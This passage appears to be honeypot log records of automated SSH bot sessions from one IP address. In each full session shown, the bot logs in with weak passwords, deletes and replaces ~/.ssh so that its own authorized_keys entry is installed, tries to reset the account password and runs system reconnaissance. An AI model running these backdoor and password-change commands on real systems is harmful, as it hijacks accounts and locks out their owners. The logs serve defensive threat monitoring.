wc -l"},{"seq":20,"at":"2026-08-27T01:53:43.297971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:53:43.852484+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:53:44.246475+00:00","kind":"output","latency_ms":null,"data":"top - 01:53:44 up 6 days, 22:43, 0 user, load average: 0.25, 0.32, 0.3\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:53:44.805319+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:53:45.223969+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:53:45.774556+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:53:46.300426+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:53:46.850000+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:53:47.349082+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T01:53:47.902681+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:53:49.350063+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:53:49.923590+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:53:51.130736+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"qwe123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"196f1d27-2c48-4975-ba0b-ddd181b0dab5","name":"icy-grumpy-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":32900,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:50:32.380524+00:00","ended_at":"2026-08-27T01:50:33.575565+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T01:50:06.607728+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:50:07.156195+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:50:15.183408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:50:15.732695+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:50:16.275335+00:00","kind":"input","latency_ms":null,"data":"echo -e \"oracle#123\\nHGNBSMiiqqrH\\nHGNBSMiiqqrH\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:50:16.836116+00:00","kind":"input","latency_ms":null,"data":"echo \"oracle#123\\nHGNBSMiiqqrH\\nHGNBSMiiqqrH\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:50:17.375379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:50:18.149548+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:50:18.701923+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:50:19.573175+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:50:20.110827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:50:20.997394+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:50:21.542247+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:50:22.047145+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:50:22.587413+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:50:23.224636+00:00","kind":"output","latency_ms":null,"data":" 01:50:23 up 6 days, 22:40, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:50:23.769631+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:50:24.371834+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:50:24.909058+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:50:25.393152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:50:25.934019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:50:26.499210+00:00","kind":"output","latency_ms":null,"data":"top - 01:50:26 up 6 days, 22:40, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:50:27.046573+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:50:27.409865+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:50:27.961356+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:50:28.680800+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:50:29.222825+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:50:30.031137+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":29,"at":"2026-08-27T01:50:30.571519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:50:31.844311+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:50:32.381088+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:50:33.404412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"oracle#123","method":"password","accepted":true,"tier":"other"}]} {"id":"9229aa80-23b4-4320-acbf-4916bcd0e6ad","name":"sooty-golden-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":54798,"username":"wjx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:47:29.547521+00:00","ended_at":"2026-08-27T01:47:30.894678+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T01:47:04.472760+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:47:05.055859+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:47:12.859949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:47:13.219113+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:47:13.802074+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wjx\\nPjuQDmDvLBlR\\nPjuQDmDvLBlR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:47:14.416859+00:00","kind":"input","latency_ms":null,"data":"echo \"wjx\\nPjuQDmDvLBlR\\nPjuQDmDvLBlR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:47:14.948965+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:47:15.299272+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:47:15.976270+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:47:16.887092+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:47:17.422503+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:47:18.747221+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:47:19.272069+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:47:19.802203+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:47:20.325447+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:47:20.598668+00:00","kind":"output","latency_ms":null,"data":" 01:47:20 up 6 days, 22:37, 0 user, load average: 0.33, 0.24, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:47:21.122769+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:47:21.621391+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:47:22.149405+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:47:22.919799+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:47:23.445401+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:47:23.966152+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:23 up 6 days, 22:37, 0 user, load average: 0.33, 0.24, 0.28\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:47:24.559226+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:47:24.985687+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:47:25.510208+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:47:26.332180+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:47:26.856999+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:47:27.212946+00:00","kind":"output","latency_ms":null,"data":"wjx"},{"seq":29,"at":"2026-08-27T01:47:27.736830+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:47:29.012832+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:47:29.549014+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:47:30.732161+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"wjx","password":"wjx","method":"password","accepted":true,"tier":"other"}]} {"id":"5d170d24-50a3-41f2-b2a6-f2ed8dd45d3d","name":"tidal-pleasant-bonobo","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36436,"username":"testserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:44:30.225882+00:00","ended_at":"2026-08-27T01:44:31.735209+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2265,"events":[{"seq":1,"at":"2026-08-27T01:44:04.780636+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:44:05.342759+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:44:12.864518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:44:13.598573+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:44:14.388911+00:00","kind":"input","latency_ms":null,"data":"echo -e \"testserver\\nu3BpNs98G0Yg\\nu3BpNs98G0Yg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:44:14.956282+00:00","kind":"input","latency_ms":null,"data":"echo \"testserver\\nu3BpNs98G0Yg\\nu3BpNs98G0Yg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:44:15.504629+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:44:15.766119+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:44:16.304521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:44:17.439858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:44:17.989117+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:44:19.282081+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:44:19.902394+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:44:20.518685+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:44:21.203201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:44:21.478403+00:00","kind":"output","latency_ms":null,"data":" 01:44:21 up 6 days, 22:34, 0 user, load average: 0.08, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:44:22.051852+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:44:22.307877+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:44:22.858159+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:44:23.345647+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:44:23.886660+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:44:24.748735+00:00","kind":"output","latency_ms":null,"data":"top - 01:44:24 up 6 days, 22:34, 0 user, load average: 0.08, 0.09, 0.07\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:44:25.290857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:44:25.750636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:44:26.292087+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:44:27.047319+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:44:27.581441+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:44:28.227768+00:00","kind":"output","latency_ms":null,"data":"testserver"},{"seq":29,"at":"2026-08-27T01:44:28.762821+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:44:29.689294+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:44:30.226652+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:44:31.568800+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testserver","password":"testserver","method":"password","accepted":true,"tier":"other"}]} {"id":"688b3edf-2678-4644-a938-c3e7d46e0c0e","name":"plush-ashen-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":48012,"username":"wushi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:41:45.157077+00:00","ended_at":"2026-08-27T01:41:46.363063+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T01:41:18.786377+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:41:19.330043+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:41:27.379863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:41:27.953840+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:41:28.491139+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wushi\\n13Y6WsIGQi5L\\n13Y6WsIGQi5L\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:41:29.026501+00:00","kind":"input","latency_ms":null,"data":"echo \"wushi\\n13Y6WsIGQi5L\\n13Y6WsIGQi5L\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:41:29.564170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:41:30.148752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:41:30.694541+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:41:31.754496+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:41:32.298026+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:41:33.657677+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:41:34.195583+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:41:35.019854+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:41:35.561607+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:41:36.128093+00:00","kind":"output","latency_ms":null,"data":" 01:41:36 up 6 days, 22:31, 0 user, load average: 0.15, 0.17, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:41:36.670786+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:41:37.078063+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:41:37.619610+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:41:38.505873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:41:39.055816+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:41:39.763624+00:00","kind":"output","latency_ms":null,"data":"top - 01:41:39 up 6 days, 22:31, 0 user, load average: 0.15, 0.17, 0.1\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:41:40.296048+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:41:40.662160+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:41:41.199751+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:41:41.533083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:41:42.079607+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:41:42.782806+00:00","kind":"output","latency_ms":null,"data":"wushi"},{"seq":29,"at":"2026-08-27T01:41:43.320741+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:41:44.615828+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:41:45.157704+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 